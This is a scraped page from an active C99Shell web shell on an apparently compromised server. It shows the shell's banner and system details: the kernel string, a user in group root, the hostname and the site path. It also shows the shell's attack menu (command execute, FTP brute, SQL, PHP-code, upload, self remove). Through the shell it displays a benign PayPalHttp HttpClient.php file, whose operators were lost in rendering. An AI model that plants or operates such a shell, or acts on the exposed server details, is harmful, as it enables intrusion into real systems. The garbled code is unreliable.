!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/paypal/paypalhttp/lib/PayPalHttp/   drwxr-xr-x
Free 26.13 GB of 117.98 GB (22.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HttpClient.php (6.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PayPalHttp;

/**
 * Class HttpClient
 * @package PayPalHttp
 *
 * Client used to make HTTP requests.
 */
class HttpClient
{
    
/**
     * @var Environment
     */
    
public $environment;

    
/**
     * @var Injector[]
     */
    
public $injectors = [];

    
/**
     * @var Encoder
     */
    
public $encoder;

    
/**
     * HttpClient constructor. Pass the environment you wish to make calls to.
     *
     * @param Environment $environment
     * @see Environment
     */
    
function __construct(Environment $environment)
    {
        
$this->environment $environment;
        
$this->encoder = new Encoder();
        
$this->curlCls Curl::class;
    }

    
/**
     * Injectors are blocks that can be used for executing arbitrary pre-flight logic, such as modifying a request or logging data.
     * Executed in first-in first-out order.
     *
     * @param Injector $inj
     */
    
public function addInjector(Injector $inj)
    {
        
$this->injectors[] = $inj;
    }

    
/**
     * The method that takes an HTTP request, serializes the request, makes a call to given environment, and deserialize response
     *
     * @param HttpRequest $httpRequest
     * @return HttpResponse
     *
     * @throws HttpException
     * @throws IOException
     */
    
public function execute(HttpRequest $httpRequest)
    {
        
$requestCpy = clone $httpRequest;
        
$curl = new Curl();

        foreach (
$this->injectors as $inj) {
            
$inj->inject($requestCpy);
        }

        
$url $this->environment->baseUrl() . $requestCpy->path;
        
$formattedHeaders $this->prepareHeaders($requestCpy->headers);
        if (!
array_key_exists("user-agent"$formattedHeaders)) {
            
$requestCpy->headers["user-agent"] = $this->userAgent();
        }

        
$body "";
        if (!
is_null($requestCpy->body)) {
            
$rawHeaders $requestCpy->headers;
            
$requestCpy->headers $formattedHeaders;
            
$body $this->encoder->serializeRequest($requestCpy);
            
$requestCpy->headers $this->mapHeaders($rawHeaders,$requestCpy->headers);
        }

        
$curl->setOpt(CURLOPT_URL$url);
        
$curl->setOpt(CURLOPT_CUSTOMREQUEST$requestCpy->verb);
        
$curl->setOpt(CURLOPT_HTTPHEADER$this->serializeHeaders($requestCpy->headers));
        
$curl->setOpt(CURLOPT_RETURNTRANSFER1);
        
$curl->setOpt(CURLOPT_HEADER0);

        if (!
is_null($requestCpy->body)) {
            
$curl->setOpt(CURLOPT_POSTFIELDS$body);
        }

        if (
strpos($this->environment->baseUrl(), "https://") === 0) {
            
$curl->setOpt(CURLOPT_SSL_VERIFYPEERtrue);
            
$curl->setOpt(CURLOPT_SSL_VERIFYHOST2);
        }

        if (
$caCertPath $this->getCACertFilePath()) {
            
$curl->setOpt(CURLOPT_CAINFO$caCertPath);
        }

        
$response $this->parseResponse($curl);
        
$curl->close();

        return 
$response;
    }

    
/**
     * Returns an array representing headers with their keys
     * to be lower case
     * @param $headers
     * @return array
     */
    
public function prepareHeaders($headers){
        
$preparedHeaders array_change_key_case($headers);
        if (
array_key_exists("content-type"$preparedHeaders)) {
            
$preparedHeaders["content-type"] = strtolower($preparedHeaders["content-type"]);
        }
        return 
$preparedHeaders;
    }

    
/**
     * Returns an array representing headers with their key in
     * original cases and updated values
     * @param $rawHeaders
     * @param $formattedHeaders
     * @return array
     */
    
public function mapHeaders($rawHeaders$formattedHeaders){
        
$rawHeadersKey array_keys($rawHeaders);
        foreach (
$rawHeadersKey as $array_key) {
            if(
array_key_exists(strtolower($array_key), $formattedHeaders)){
                
$rawHeaders[$array_key] = $formattedHeaders[strtolower($array_key)];
            }
        }
        return 
$rawHeaders;
    }

    
/**
     * Returns default user-agent
     *
     * @return string
     */
    
public function userAgent()
    {
        return 
"PayPalHttp-PHP HTTP/1.1";
    }

    
/**
     * Return the filepath to your custom CA Cert if needed.
     * @return string
     */
    
protected function getCACertFilePath()
    {
        return 
null;
    }

    protected function 
setCurl(Curl $curl)
    {
        
$this->curl $curl;
    }

    protected function 
setEncoder(Encoder $encoder)
    {
        
$this->encoder $encoder;
    }

    private function 
serializeHeaders($headers)
    {
        
$headerArray = [];
        if (
$headers) {
            foreach (
$headers as $key => $val) {
                
$headerArray[] = $key ": " $val;
            }
        }

        return 
$headerArray;
    }

    private function 
parseResponse($curl)
    {
        
$headers = [];
        
$curl->setOpt(CURLOPT_HEADERFUNCTION,
            function(
$curl$header) use (&$headers)
            {
                
$len strlen($header);

                
$k "";
                
$v "";

                
$this->deserializeHeader($header$k$v);
                
$headers[$k] = $v;

                return 
$len;
            });

        
$responseData $curl->exec();
        
$statusCode $curl->getInfo(CURLINFO_HTTP_CODE);
        
$errorCode $curl->errNo();
        
$error $curl->error();

        if (
$errorCode 0) {
            throw new 
IOException($error$errorCode);
        }

        
$body $responseData;

        if (
$statusCode >= 200 && $statusCode 300) {
            
$responseBody NULL;

            if (!empty(
$body)) {
                
$responseBody $this->encoder->deserializeResponse($body$this->prepareHeaders($headers));
            }

            return new 
HttpResponse(
                
$errorCode === $statusCode $errorCode,
                
$responseBody,
                
$headers
            
);
        } else {
            throw new 
HttpException($body$statusCode$headers);
        }
    }

    private function 
deserializeHeader($header, &$key, &$value)
    {
        if (
strlen($header) > 0) {
            if (empty(
$header) || strpos($header':') === false) {
                return 
NULL;
            }

            list(
$k$v) = explode(":"$header);
            
$key trim($k);
            
$value trim($v);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--